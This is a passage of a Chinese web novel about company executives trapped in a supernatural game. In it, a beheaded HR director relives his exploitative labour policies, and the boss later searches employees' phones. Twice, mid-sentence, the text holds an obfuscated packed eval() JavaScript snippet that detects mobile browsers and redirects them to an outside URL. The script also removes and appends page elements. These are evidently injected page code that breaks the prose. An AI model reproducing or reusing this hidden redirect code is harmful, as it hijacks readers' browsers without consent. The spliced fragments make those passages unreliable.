村长捏着囡囡一侧身,躲过了举着菜刀砍过来的李肖,不料却被身后人的逮个正着,棒球棍勒上了村长的脖子,他的嘴里发出“嗬嗬”的声响,捏着女孩的手下意识抓紧,见他没有跟刚才一样突然消失,张龙和钱又两人上前掰开了他的手,囡囡被救了下来,哭着抱住沈逾白的腰,邓玲在一旁安慰。 被周知聿勒住脖子的人挣扎得越来越厉害,张龙钱又二人一左一右帮着周知聿控制住他,冲孙德义喊道:“孙总快,趁现在杀了他!” 孙德义抹了把脸,捡起村民掉落在地上的砍刀朝村长走了过去,见他靠近,那人喉咙里发出“呜呜”的声音,松垮的眼皮中滚出一两滴泪珠,望向他的眼神似是似乎是在求饶。 孙德义没有那多于的圣母心,伟人说得对,消灭敌人才是最实际的。他抬手将刀抵住那人右侧脖颈,手腕一用力那颗头就掉在了地上,温热的鲜血喷到了孙德义的脸上,他下意识闭眼,拉起衣服擦拭眼睛周围的血液。 “恭喜玩家,成功通关。”冰冷的机械提示音在孙德义的耳边响起,同时响起的还有钱又惊恐的叫声。 孙德义不解睁眼,发现其他人都愣愣看着掉在地上的尸体和头颅,他缓缓低头看到一件熟悉白衬衫—— 不对呀?村长不是穿的一件灰蓝色的粗布衫吗?这件白衬衣不是……不是李肖的吗?孙德义茫然地看向脚边那个头发凌乱的头颅……李肖!那个睁着眼睛的头竟然是李肖的! 不等众人回过神来,身边已经亮起白光,四周的景物慢慢模糊,小女孩的哭声越来越远,几人的身体变得轻盈,只有李肖那死不瞑目的尸体还在众人的视线中……白光越来越亮,直最后所有人都不得不被光线刺激得闭上了眼。 接着,白光消失,站着的几人也跟着消失不见。 孤零零地躺在在满是鲜血的地板上的李肖也不见了踪影。 - “咚” “咚” 一具穿着白衬衫的无头尸体和双眼大睁的头颅先后落入了群山环抱的广场中央的水泥塔底。 9. 李肖 “咚咚咚——” 李肖被敲门声吵醒,他睁开眼发现自己正靠在办公室的小沙发上,下意识摸了摸脖子,光滑的皮肤连成一片什么疤痕都没有——他感觉自己似乎是做了个噩梦,梦里他被拉倒一个鬼地方去缝尸体,最后被孙德义当成NPC给杀了。 “请进。”李肖听见了自己的声音。 奇怪,他说话了吗?没等李肖细想,玻璃门已经被推开了,进来的是人力资源部部长,她手里拿着一个笔记本和一份纸质的文件,站在李肖面前恭敬地对他说:“李总,新修的考勤管理制度初版已经通过OA发给您了,您有时间的时候看一下如果没问题我们就按这版走制度发布流程了。” “好。”李肖的身体慢慢从沙发上站了起来,走向办公桌,一边走一边对她说:“你在这儿坐一下,我先看看。” 怎么回事?李肖突然发现他控制不了自己的身体了。 他就像一个被困在自己身体里的旁观者,看着自己慢慢挪到办公桌前坐下,双手打开电脑登录OA,点开了下属发过来的那个名叫“《考勤管理制度》A3版-20210510”的文件。 不对,2021?那不是三年前吗?对了,现行的考勤管理制度确实是三年前修订的,所以他现在是回到三年前了?穿越了?李肖不敢细想,他尝试大声叫喊、努力想抬起双手,试图控制三年前这具身体。 但是没人听见他的喊声,三年前的他还在喋喋不休地对着这个狗屁制度挑刺。他的手也没能挣脱这具身体的束缚,还在电脑屏幕上指指点点。 - “好了,大概就是这些问题,你们去改,改完我再看一下。”三年前的李肖终于停下了他的长篇大论,同时被困在“自己”身体的李肖像是被解开了封印,身体变得轻飘飘的,跟在人力资源部部长的身后飘出了办公室。 “小齐,李总有几条修改意见我给说一下,你再改改。”李肖飘在人力资源部部长的工位旁边,被迫听她又将那些车轱辘话转述了一遍,对自己目前的处境感到十分不解。 “领导,这条‘除法定节假日外,当月各类休假超过3天,岗位工资与绩效工资按实际出勤天数计算’确定要写进去吗?这不合理啊,年假、调休、婚丧产假这些都应该是视为出勤的?还有这个加班,为什么要加班满一个小时才算加了半小时呢?还有……” 说话的是人力资源部以前负责劳动关系的女生,李肖不不记得她叫什么名字,因为21年年底李肖就想办法让她主动辞职了。他不喜欢这个女生,这人学的是社会保障专业,天天跟他掉书袋,动不动就“这不符合劳动法”,总是摆不正自己的位置,难道她的工资是普通员工给她发的吗? 人力资源部部长打断了小齐的质疑:“你别问那么多为什么了,我不知道这样是违法的吗?领导要这样改我还能跟他犟说我不改?他怎么说我们怎么做吧,违法的事儿他们都不担心你担心什么,不管是遇到仲裁还是打官司,他们都有办法解决的。” 小齐:“……可是编制人是我啊!制度发出来第一个被骂丧尽天良的人是我……” 李肖是看不上小齐这么没出息的人的,在他看来被下属抱怨一两句根本不是什么大事,公司给员工提供了工作岗位和工资,员工因为个人素质低动不动就骂这骂那发泄情绪,这种幼稚的行为对他来说没有任何伤害。 “这有啥。”人力资源部部长不愧是李肖千挑万选出来的人,李肖飘在一边满意地看她教育下属:“如果有人来问,你解释的时候就在前面加一句‘这个我也没办法啊,李总的意思是……’不就完了,到时候来问过的人自然会帮你把澄清传出去的。” 李肖:…… 看走眼了,果然这些员工都是不知感恩的!就算是中层也是一样!李肖飘在人力资源部部长身后气得抬手拍桌子,然而手穿过了实木桌面,他的怒气半点没有发泄出来。 李肖的身边的人影渐渐变得模糊,他好像又飘了起来,小齐和部长的话语不再清晰,但是四周嗡嗡的说话如潮水般涌进他的耳中。 不知过了多久,耳边的声音又清晰了起来,李肖揉揉眼睛看清了说话的人,是技术某个项目组的三四个成员。 一个戴眼镜的男生拍着桌子,情绪看起来有些激动:“我们天天通宵写方案,还被那姓李的阴阳怪气什么‘加班是因为你效率低,公司不提倡加班’,我他大爷愿意加班吗?这个破班上的我现在不是家和公司两点一线,而是卧室——厕所——公司三点一线,我家其他房间长什么样我都快忘了!现在更离谱了,就因为我周末没及时回消息就算旷工?我到底旷了哪门子的工?” “曾哥冷静,至少你只扣了半天的工资,我上次阑尾炎做手术,第二天就打电话喊我回公司上班,最后扣了我一周的工资;你再看看周博,休个陪产假,每天都被领导喊到公司来加班加到凌晨不说,还因为休假时间大于五天被扣了半个月的工资,班是一天没少上,工资也没少扣。” 说话的女生李肖不认识,估计在公司呆了没多久,被她提到的“周博”是老员工了,博士一毕业就来了公司,以前是这个项目组的组长,所以工作比较忙,但是公司也很体谅他了,想着他有小孩儿以后时间不怎么抽得开,特意在他陪产假休完没多久把他换下来了,让他有更多时间陪伴小孩成长。 李肖正想着,就听周博开口了:“有个事儿给你们说一下,昨天孙总找我谈了一下,经过公司商议,我们组会换个组长,新组长是项目管理部的魏文,明天公司应该就发文了。” “啊?那您呢?”之前说话的女生震惊的问。 周博苦笑了一下,无奈道:“我还是在咱们组,就是不当组长了。” “凭啥?那个什么魏主管,我没记错的话他压根不懂技术吧?他来当组长能干什么?写方案?做实验?还是去给客户汇报答辩?他连照着PPT念都念不顺!他凭什么过来当组长?组长不让您当但是活都是您的?您来公司这么多年说换下来就换下来?” 女生还在咋咋呼呼地替周博抱不平,只是李肖又听不清了,他再次像之前那样飘了起来,这次他不再紧张,只是回想着刚刚那个女生说过的话——不懂技术凭什么当组长?那还能凭什么?人家小魏是邓总的儿子啊,来公司当个组长而已还需要跟她汇报原因?她算个什么东西?! 眼中模模糊糊的人影和明明灭灭的光线不断变化,最终变得清晰起来,这次李肖出现在了公司的大会议室内,会议室坐着所有高层和几个部长,看情形应该是在开周例会,孙德义坐在主位正在发言。 “前三个季度的销售额仅达到年度KPI的62%,距离完成目标还有5个亿的差距,麻烦各位总监给我讲一下,最后这个季度准备怎样达成KPI。” 其他人正襟危坐一言不发,张龙犹豫几番后说:“孙总,我们生产这边目前两班倒,人员和设备都可以最大量的保证交期,但问题是我们现在并没有接到这么大的订单呀。” 他这话意思很明确,没有订单跟我生产可没有半点关系,这是市场的问题,市场总监——是孙德义兼任的,孙德义脸色不太好看,转头看向市场部的部长。 被看到的小个子女性停下正在回消息的手,放下手机干脆利落地解释:“各位,今年最大的两笔单子,由于产品性能PK输给了另一家企业,导致直接损失了三个亿,这件事你们也是知道的。性能PK这种客观的东西,是我们业务员跟人客户吃一两顿饭喝一两场酒就能解决的吗?” 见她意有所指,技术总监宋魏准备反驳,还没开口又被她打断了:“当然,我也不是说技术的同事该承担这个责任,宋总每天陪着技术的同事们熬夜加班我们都看在眼里,但是今年连着两次性能PK失利这是前几年没有过的情况。与其在这个里互相甩锅,各位不如分析一下抛开外部因素,今年跟前两年比起来,今年内部到底出了什么问题?” 宋魏看了她一眼,主动开口:“孙总,我们走了三个核心技术人员,同时校招来的二十名硕士目前留下的仅有两人。” 李肖想起来了,这是22年的一次例会,他是21年来的公司,就是在这次例会上有一些人试图把KPI完不成的锅甩到他一个人力总监的头上,结果当然是并未成功,不过那年的KPI最后确实也没有达成,公司从上到下的年终奖都被扣了25%…… 李肖知道,下一发言的就是他自己。 “宋总这样说,李某人真是惭愧。”坐在孙德义身旁的李肖右手捏着一直精美的钢笔,抬头看向在场的其他人,“首先,我现在这里跟大家做一个检讨,去年到咱们公司来了之后我犯了经验主义错误,直接将我之前工作的113所的管理模式套到了咱们公司上,可能就导致一些员工不适应。但是大家都知道,113所是咱们行业内乃至全国内的龙头企业,所里管理模式是先进的,今年出现的一些问题,我认为呢还是跟公司发展的实际结合不够,这是都我的问题,先跟大家道个歉。” 李肖看着自己站起来朝其他人鞠了个躬,在孙德义的示意下接着说道:“针对公司目前的情况,我有以下几个方案,孙总和各位同事看看是否可行。第一,针对核心技术人员离职的问题我有个想法,咱们公司的核心技术人员都比较年轻,正处在结婚、买房的阶段,我们可以以公司的名义无息借款给他们,约定还款方式为每年扣除年终奖的10%,这样在他们还清借款前都是跟公司绑定在一起的;当然关于竞业协议方面,人力资源部也会进行修改,提高竞业限制的。” 当年的李肖侃侃而谈,没注意到其他人的反应,然而飘在一边的李肖却准确捕捉到了宋魏眼神中一闪而过的厌恶,对此他感到可笑,身为公司技术总监,他手下的人员流失了他自己不想办法解决,还假清高装呢。 “第二,要我说我们公司的员工就是太过于顾家了,其实家里的事让另一半去做就好了没必要事事自己上,这种动不动就去处理家庭事务的怎么能有精力做好本职工作呢?所以我建议啊,在第四季度这个每年最关键的时候,咱们每年的第四季度公司实行单休,进行年度目标冲刺,周六正常上班,当然这一点需要各中心领导口头宣贯,公司不会发文,毕竟影响不好,没必要让公司面临不必要的风险。”两年前的李肖继续发言。 “最后,针对目前可能存在的员工工作积极性不够的问题,我的建议公司研发、市场、生产等部门实行末位淘汰制,各中心每季度绩效考核后5%的员工直接淘汰。” “我不同意。”宋魏和市场部部长同时反对,却听见孙德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838938|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义语气冷淡地说了句可以。 二人无法再多说什么,只能厌烦地看向李肖,会议结束,李肖的三条建议全部通过。随着孙德义的离开其他人也陆陆续续走出会议室,这次李肖没有再跟着他们飘走,他飘在会议室里看着其他人走远,隐约还能听见市场部部长嘀咕的那句“天天学113所的管理,怎么不学学人113所的福利?人家113所可没有14块一小时的加班费。” - 李肖意识逐渐模糊,像是脑子很清醒但身体困到极致的人一样,在彻底陷入睡眠前脑子里出现了无数条破碎的信息,或者说是关键词——什么 “消灭他”“李总”“游戏”“降本增效”“缝尸”……这些词语在他的脑中反复出现,他忘记了自己在干什么、也忘记了自己姓甚名谁,渐渐地这些反复出现词语被他组成了一句莫名其妙前言不搭后语的话,他继续思考着句话的实际意义,却好似突然惊醒——这主谓不通的句子有什么实际意义?他刚刚是要睡着了吗? 脑子恢复了清明,环顾四周发现自己正站在一间屋子里,手上拿着一把砍柴刀,架在面前跪着的一个身穿白衬衫头发梳得一丝不苟的男人脖子上,他不认得这个男人,不光如此,他还不记得自己是谁,又为什么站在这个地方用刀抵着这个人的脖子,他想把刀放下来,却发现手被一股看不见的力量按着,男人的脖子上已经渗出了鲜血。 眼前的一幕有一种诡异的熟悉感,李肖开始挣扎,却发现全身动弹不得。 右手还在往男人的脖颈上压,刀身割破了男人的动脉,鲜血喷溅在李肖的手上,温温热热的像极了人的体温,李肖惊恐地看着沾满鲜血的右手和面前那个面无表情的男人。 电光火石之间,李肖突然想起来了……这个男人……不就是他自己吗? 李肖记起了之前发生的一切,他挣扎得愈发厉害,同时心中涌出不甘——凭什么?就因为他完成自己分内的工作就让他经历这些诡异的事情来惩罚他?他只是一个打工的!他给公司省下的人力成本又没有进到他自己的口袋里!他甚至连公司的股份都没有!凭什么单单是他要这么绝望地死去?孙德义、邓玲还有公司那些股东、实控人……凭什么他们这些真正受益的人还活着?凭什么! 愤怒冲昏了李肖头脑,他的右手握紧了刀柄,使劲一压——刀身完全没入了男人的皮肉,又从脖颈的另一侧出现……随着面前那个头颅的落地,施加在李肖身上的力量消失了,他的脖子一阵剧痛,身体像是踩空般一激灵,突然又出现在了他的办公室里。 他下意识抬头看向办公桌上的电子钟,现在竟然是2024年8月23日!是他们进入游戏的第五天!也是他被孙德义砍掉头颅那天!太好了!他没有死! 李肖喜极而泣,果然,沈逾白那两个人说的没错,这个游戏果然只是吓人的,不会真的让人死亡!李肖整理了一下有些许凌乱的头发,抬脚走出了开着门的办公室,走向人力资源部部长的工位,准备算算当年她把锅往自己头上甩的账。 “咳咳——”李肖清了清嗓子。 “……” 无人回应,不光是人力资源部部长,办公区内原来听见他声音就主动站起来跟他打招呼的员工,今天全都无动于衷。 李肖抬手敲上了面前的桌子,没有哪怕一个人看他一眼,他又伸手在人力资源部部长的眼前晃了一下,还是没有反应…… 李肖故作镇定:“都停下手里的工作!”却依旧无人回应。 “恶作剧!一定又是恶作剧!”他冲向楼梯间,三步并做两步冲到三楼,见孙德义办公室的门开着,第一次没有恭恭敬敬地敲门,而是大步走了进去。 一起进游戏的几人都坐在办公室的沙发上,他们脸上都露出劫后余生的庆兴,李肖却觉得有种说不出的奇怪:“你们都过来了?我忘了看手机了,怎么没人过来叫我一下?” 还是没人回答他。 张龙在吹捧着孙德义最后杀死村长的果决,钱又在感叹沈逾白果然没有骗人,他们真的不会死在游戏里面,邓玲在庆兴他们四个终于平安回到了现实世界 李肖脸色难看,“四人”?“没人死亡”?所以自己算什么呢? 李肖突然疯了般的在他们耳边大声怒骂,揪着孙德义的衣领问他知不知道自己杀死的是谁,拿起孙德义桌上的摆件砸向地面…… 从头到尾,没有一个人正眼看向他,甚至连被他砸在地上四分五裂的水晶摆件,都在下一秒完好如初地出现在孙德义办公桌上。 - 众人散去,办公室内再无一人,李肖突然想要回家,没人看见他没关系,所有人都忘了他也没关系,至少他的妻子、他的女儿还在,她们就是他存在过的证据! 他用最快的速度跑向公司停车场,没见自己的车,孙德义车旁边的位置上空空如也。 他骂了句脏话后又往大门口跑去,无所谓,就这么走回去也是可以的。 大门越来越近,他已经看见门外来来往往的车辆和行人了。 一辆货车刚刚开出公司,进出杆还没放下,李肖准备顺势从车辆通道出去,却在左脚跨出园区的那一瞬间,重新回到了他的办公室。 他被永远地困在了公司里。 无人知晓,无人记得。 10. 现实 “恭喜玩家,成功通关。”冰冷的机械提示音响起。 孙德义一晃神,眼前躺着的村长尸体、抱着跟自己一模一样娃娃坐在沙发上的小女孩以及那个坐落在群山之间的温馨的小房子都消失了,他正坐在自己办公室,落地窗外阴雨绵绵,电脑锁屏上显示着当下的时间——2024年8月23日15:13,周五。孙德义长舒了一口气,起身走向办公室的洗漱间。 镜子里的人穿着自己五天前从衣柜里拿出来的灰色条纹polo衫和西裤,整洁干净看不出一丝的狼狈,跟那些村民打斗时被砸坏的昂贵腕表完好地戴在他的左手手腕上,如果不是看见了手机里那个莫名其妙的置顶群聊,孙德义一定会认为这五天发生的事都是自己的幻想。 那群聊名字叫“社畜游戏”,里面是这次跟孙德义一起进入游戏的四个人,群里有一条公告消息—— 恭喜各位被选中参与社畜游戏! 游戏规则: 1、请根据副本提示完成任务,注意!请遵守游戏规则,若在游戏中死亡您将无法回到现实世界; 2、每轮游戏随机选取7名玩家进入同一个副本(您可以自行选择是否与您的同伴组队,若同意组队请将请名片更改为“单位+姓名”); 3、每轮游戏时间为5天,若游戏结束时玩家还未完成任务,将被抹杀; 4、每轮游戏间隔为2天,周末不开启游戏; 5、恭喜您,您已成功完成1/5轮游戏。 发出人显示为一串乱码,在这个群聊之下,是公司的经营管理群,最近一条消息是“孙德义”在五天前发出的,告知技术总监宋魏他们四人要出差,一切事务由他代理,还十分正式地附上了一份四人签字盖章的《授权书》,宋魏回了个好的就没再多说什么了。 孙德义站在洗手台前看着手机沉默良久,直到一阵敲门声响起。 “进。”孙德义走出了洗漱间,刚好跟开门进来的邓玲等人打了个照面,他依旧沉默,只朝沙发方向抬了抬手示意他们坐下。 “都看到手机那个群了?” “看到了,孙总。咱们要按照他要求的改群昵称吗?”邓玲穿着职业装,细高跟踩在柔软的地毯上没发出一点声音,她坐在孙德义对面的单人沙发上,捏着手机犹豫地问。 孙德义:“改吧,一起总归有个照应。” 有了他的拍板,剩下三人纷纷拿出手机改好了名字。 “话说回来,游戏里遇到的那两个人还真挺靠谱的,我本来以为他们会把我们当冤大头坑呢,没想到说的都是真的。”钱又轻嗤,似乎对沈逾白二人“仗义”的行为十分嘲弄。 孙德义没接他的话,只问邓玲:“能查到这两个人或者他们公司的联系方式吗?” 邓玲:“我刚刚把他们和公司名字发给手底下的人了,他们刚刚通过软件查了一下,公司高管确实有沈逾白这个人,网站上留了个公司的座机,不过打过去无人接听。” “接着想办法联系,如果下班还是联系不上我俩明天去一趟梧城。”没有亲眼在现实中看见这两个人孙德义始终不踏实,他顿了一下又接着吩咐:“三点四十,让所有人放下手里的工作到501大会议室开个会。” “所有人吗?”张龙不确定地问了句。 “所有,包括你生产那边的外包员工。你们还记得之前OA上的那句‘经过员工投票’吗?我不相信我们遇到这事跟这些员工没有半点关系。不用说原因,直接叫到会议室来我们一个一个地查。” - “会议涉及公司机密,请各位同事把手机和其他智能电子设备放在会议室外的手机柜里呦,进门右手边的长桌上签到哈。”人力资源部的郑瑶瑶站在多媒体会议室门口对每一个走进会议室的员工重复这句话。 刚刚她们部门突然接到代理总监邓玲的消息,半个小时内通知公司所有员工到会议室参会,还需要把手机上交,郑瑶瑶虽然觉得奇怪但也没多质疑领导的决定,第一时间就在大群、部长群以及部门事务管理员群发了通知,幸好其他同事们也都习惯了领导们这想一出是一出的做事风格,凡是在公司的员工都放下了手中的工作准时出现在会议室。 人来齐后,孙德义迈步上台,举着话筒对门外喊了句:“张龙、钱又,进来。” 咕噜噜的声音靠近会议室,三四百名员工不明所以地回头看向门口,只见张龙和钱又两人推着手机存放柜走了进来。 “考虑到公司的商业秘密的安全,今天下午我们将对公司所有员工的手机进行一次集中检查,大家放心,检查范围仅限于你们跟公司相关的群聊,不会涉及到各位的隐私,接下来念到编号的手机机主主动告知手机密码。” “什么?查手机?” “他疯了吧?凭什么要查我们手机啊?这不是个人隐私吗?” “又作什么妖啊?蹬鼻子上脸了他以为他是谁啊!警察办案都得出具相应手续呢,他说查就查?” “……” 孙德义的话犹如泼进沸腾油锅里的水,下面坐着的员工脸都写着不解和愤怒,不满声此起彼伏,有情绪激动的员工已经起身准备上去拿回自己的手机。 “何宸,你这么激动干什么?手机里是有什么你干了对不起公司的事的证据吗?” 被孙德义点名的是财务部的一个员工,听见孙德义给他扣了个大帽子,他丝毫不慌,站在座位上望着孙德义:“孙总,您如果怀疑我损害公司的利益大可以直接报警,让警察来检查我的手机我不会有半点犹豫,但您没有权利查看我的隐私!” “报警?好啊,那顺便让王警官带税务的人来查查上个月你开的那张一百多万的发票,我记得你们前总监以前还挺器重你的,怎么这就想进去陪他了?” 何宸刚刚的淡定消失了,他震惊地看着孙德义,捏着拳头怒吼:“是你让我……” “嗯?我什么?我让你开的?我怎么不记得了呢?小何你有什么证明吗?我倒是无所谓,小何你这年纪轻轻的,还有其他的员工们啊,你们想想平时模仿过多少次我们的笔记在各种文件上签字、P过多少次公章?这大好的年华啊……”孙德义没说完但其中的威胁之意很明确了。 四周传来对孙德义这种恶心行径的谩骂,不过比起之前骂声已经小了很多,甚至还有人主动报上了自己的手机密码,孙德义看了看下面,随手指着那几个主动说出手机密码的员工,免去了对他们几个的检查,大手一挥让他们拿着手机离开了。 见此情景,其他人也都慢慢停下了反抗,坐在何宸前面的部长转过头,低声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838939|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劝道:“小何,道个歉坐下,没必要闹成这样。” 何宸愤怒地喘着粗气,孙德义笑眯眯看着他没再多说什么,就这么僵持了大约一分钟,何宸最终松开了紧捏着的拳头。 “对不起,孙总,是我冲动了。” “没有关系,年轻人嘛有点个性很正常。”他抬手往下按了按,继续冲他说:“既然小何已经准备好了,那就从你开始吧。说说你手机放在几号抽屉的,还有手机密码是什么?自己上来打开给我看也行” 何宸最终咬着牙走到孙德义面前,解锁了手机递给了他。 孙德义打开手机点进聊天软件,看了一下最近的群聊,又分别搜索了一下他和另外三个人的名字、“投票”、“游戏”这些字眼,并未发现什么相关联的东西,便把手机锁上放回了柜子的小格子中。 “看吧,明明是很简单的一件事情,大家何必搞得跟上刑场一样?这样就可以了。邓玲,你们三个一起上来看。” 在孙德义的招呼下,邓玲三人也走到手机柜旁,开始一个手机一个手机的检查。 - 两个小时很快过去,孙德义四人的查手机工作也基本接近尾声了,三百多台手机,查出来的内容,背后骂他们的很多,但是跟那个所谓游戏投票相关的什么也没找到,要不然就是员工警惕性太高没留下任何痕迹,要不然就是这个东西跟他们真的无关…… 虽然孙德义不愿意相信,但是在这种没有任何征兆的针对几百人的随机检查中,出现第一种的情况的可能性几乎为零,那就只剩下一种可能——员工真的不知情?那之前那句“根据员工投票”就是无稽之谈?游戏有必要在这种细节上欺骗他们吗? 孙德义摆摆手,说了句散会就走出了会议室,邓玲小跑着跟上他,在他身后汇报还未联系到沈逾白的消息。 “让下面的人定票吧,明天去梧城。” - 孙德义开车回家,泡了个澡出来刚好助理给他预定的“梧桐苑”的晚饭送到了,他一边看着邓玲发过来的机票信息,一边享用阔别一周的健康美食,在游戏里一直紧绷着的神经彻底放松下来。 晚饭后孙德义接到了宋魏打过来的电话,他嗤笑一声接起电话,沉默着没开口。 “孙总,听说您今天查员工手机了……几个组长反应部分员工现在有点情绪,可能……” 孙德义直接打断了宋魏的话:“宋魏啊,我给你说过很多次了,他们是你的员工不是你的两岁的儿子,你刚到京市吧?下飞机看到员工有情绪不是想办法解决而是跑来质问我?怎么是要我给他们道歉吗?” “孙总,我已经让各组组长尽量安抚了,我打这个电话不是质问您,只是想了解一下具体的原因以及……以及我觉得今天这这样做确实不太好。” “你以为我们今天花了两个多小时的时间看那些人的手机是闲的没事干吗?我们有我们的道理,行了就这样吧,有情绪的你自己按下来,有不想干了的让他们自己提离职滚蛋。”孙德义不想再听他的大道理,宋魏又没被拉到那个破游戏里去受折磨当然站着说话不腰疼。 孙德义挂断电话后,刷了会儿短视频就上床睡觉了,五天来他睡得并不算好,现在终于回到了自己熟悉的地方,连睡意都没怎么酝酿就进入了梦乡。 11. 现实 一丝凉意攀上孙德义的胳膊,接着渐渐扩大,他的手臂、后背都被这微凉的液体浸透,他睡前穿的是一件丝质的短袖睡衣,感觉到睡衣贴在身体上之后下意识抬手扯了一下,湿意便跟着缠上了他的手指,他习惯性地用大拇指在食指侧边搓了搓。 有点黏糊糊的,不像是汗?还没等思考出手指粘上的液体是什么,孙德义已经一个激灵清醒了——他喜欢软床,床单下面铺了四层棉絮,但是现在他明显感觉自己正躺在一个凹凸不平的地上! 没敢睁眼,孙德义小心翼翼地将手挪到身下试探地摸着,熟悉的形状让孙德义想到了一个如梦魇般的东西——广场上的渗水砖。 正多边形的石砖中间有一个菱形的镂空,石砖上覆上了一层黏糊糊的液体,阵阵腥臭味挤进孙德义后知后觉开始工作的鼻子……孙德义可以确定,他现在正躺在那个他们缝了好几天尸体的广场上! 怎么回事?他不是已经把那个狗屁村长杀了吗?不是已经从游戏里面出来了吗?是在做梦吗?一定是!孙德义捏着拳头,指甲牢牢嵌进掌心的软肉里,希望能把自己掐醒逃离这场噩梦,身侧传来的一道男声却打破了他的幻想。 “我靠!什么情况?”说话的是张龙,他本来搂着老婆睡得正香,结果突然感觉怀里空了,本以为是他老婆起夜了准备翻个身继续睡,没想到翻身时头撞在了地砖上,一睁眼发现自己正躺在满是血水的空地上。 孙德义意识到自己没办法再自欺欺人了——不到半天!在他们今天下午杀了村长从游戏里出来后,现在他们就又莫名其妙回到这个鬼地方了。 孙德义恼火地咒骂了一句,睁开眼坐起身看着身边的人,张龙、钱又还有邓玲,一个不少,全都穿着睡衣一脸懵地看着他。 “诸位你们今天的任务还没有完成,请吧。”在孙德义开口前,离他们不远处的塔下一个佝偻的黑影发出嘶哑的声音,几人转头看去,正是被孙德义一刀割头的村长。 “我们已经完成任务了啊!你又把我们弄过来干什么?而且你不是死了吗?”钱又愤恨地盯着那个黑影。 没有任何情绪起伏的声音自顾自地说着:“我说过了,在每个周期结束前,由不得你们。” “我们要是不干呢?” “那就永远呆在这里。” 草! “还有两个人呢?” “两个?哦,你说他们啊,他们不归我管了。” 村长这话倒是让几人对于通关五轮就可以彻底摆脱游戏、再也不会被拉进来的说法更相信了一些,当然完全相信还是得等到亲眼看到沈逾白二人。孙德义一行人在得到必须把今天的任务完成才可以回去的答复后,终于还是认命地分工合作,开始重复他们已经熟练的缝尸工作。 - “怎么样了?”张龙和钱又两个人摸着黑进了三趟林子,估摸着材料准备得差不多了,蹲在孙德义的身边问道。 “我把这个头缝上去就刚好过半了。你俩一起来缝估计过不了多久就能弄完。”孙德义面无表情地将手中这具穿着被鲜血染红的衬衣的身体跟瞪大双眼的头颅缝合在一起,他能感觉到自己面对着着一具具尸体已经逐渐变得麻木了,或许这对于通关这个变态的游戏是一件好事。 - 四人吭哧吭哧干了大半宿,终于在天快亮前完成了村长“贴心”给他们剩下的任务,看着村长一具具地验收,最终满意点头后,他们终于松了口气,瘫坐在地上。 “任务完成,明天见。”村长说完这句话后几人就失去了意识。 再次清醒过来,孙德义条件反射地伸出手,摸到柔软的床单后才放下心来,自己又神不知鬼不觉地回到了家里。他撑起身体拿到放在床头柜上的手机,熟练地点进一个软件,调出家里的监控,花了半个小时拉完了昨晚上的监控记录,冷汗直冒。 孙德义在监控中看到,自己一整晚都躺在床上一动不动。 要不是张龙他们拉了个群讨论昨晚的临时“加班”,他都要怀疑自己只是做了个梦。他闭着眼睛深呼吸几次,冷静下来后点进群聊开始安排工作。 【我跟邓玲一会儿去梧城找沈逾白,你俩用这两天联系一下其他公司的熟人,看有没有人有相同的遭遇。姓沈的说这个游戏找的都是各企业的高层,你们去委婉地问问供应商、客户单位关系熟一点的中高层,随时在群里汇报最新情况。】 【张龙:收到】 【钱又:[ok]】 孙德义看见司机发消息说已经到楼下了,于是放下手机拖着疲惫的身体去卫生间洗漱。 “孙总,早上好。”司机尽职尽责地接过孙德义的行李,确认他坐好后按下关门键,将行李放进后背箱,在停止值机前半小时将孙德义送到了机场。 - 飞机发动机的轰鸣划破天际,孙德义和邓玲降落在了梧城机场。 坐上行政提前联系好的专车,孙德义拒绝了先去酒店放行李的提议,要求司机直奔沈逾白的公司。 车停在一座写字楼下,写有沈逾白公司名字的巨大石材伫立在写字楼大门前,孙德义和邓玲下车,径直走了进去。现在刚好是十一点,孙德义想着如果顺利的话请沈逾白吃顿饭也不是不可以,毕竟在游戏里他们确实受了他不少照顾。 “两位好,有什么可以帮您的吗?”前台女生见孙德义二人后热情招待。 邓玲递上自己的名片:“我们找沈逾白沈总,可以帮我们联系一下吗?” “不好意思,沈总今天没上班。请问您提前联系过他吗?因为他不太喜欢自己的私人时间被工作打扰。”前台抱歉地说。 孙德义不耐烦地啧了一声,邓玲看了他一眼,继续跟前台交涉:“或者联系周知聿助理也行。” 对方答应了。 两人坐在大厅的沙发上喝着接待人员倒的茶,不一会儿,写字楼的电梯门开了,周知聿穿着正式地朝他们走来。 “您好?我是周知聿。” 孙德义:“周总,见您一面可真不容易啊!沈总呢,把他也叫出来我们一起吃个饭吧。” 周知聿眉头紧皱,奇怪地盯着眼前这人:“请问,我们认识吗?” 孙德义怔怔地跟邓玲对视了一眼,又看向了周知聿,给他做了一遍自我介绍,见周知聿还是满脸疑惑,便有主动提起游戏。 “您是说,我跟沈总,还有您和您的同事们一起被拉到了一个所谓的超自然游戏里面,白天被一个干瘪老头奴役缝补尸体,晚上被一个还没我小腿高的小女孩恶作剧吓破胆吗?” 周知聿礼貌地总结着孙德义的故事,虽然没做任何评价但眼神里的嘲讽已经化为实质了,孙德义恼火地提醒周知聿他不是在开玩笑并反复重申如果不信可以把沈逾白叫出来他们当面对质。 “可以,我先联系一下沈总。”周知聿接过前台查到的这两人的名片上的企业信息,发现确实不像是拿他开涮的神经病,于是同意了帮他们约一下沈逾白。 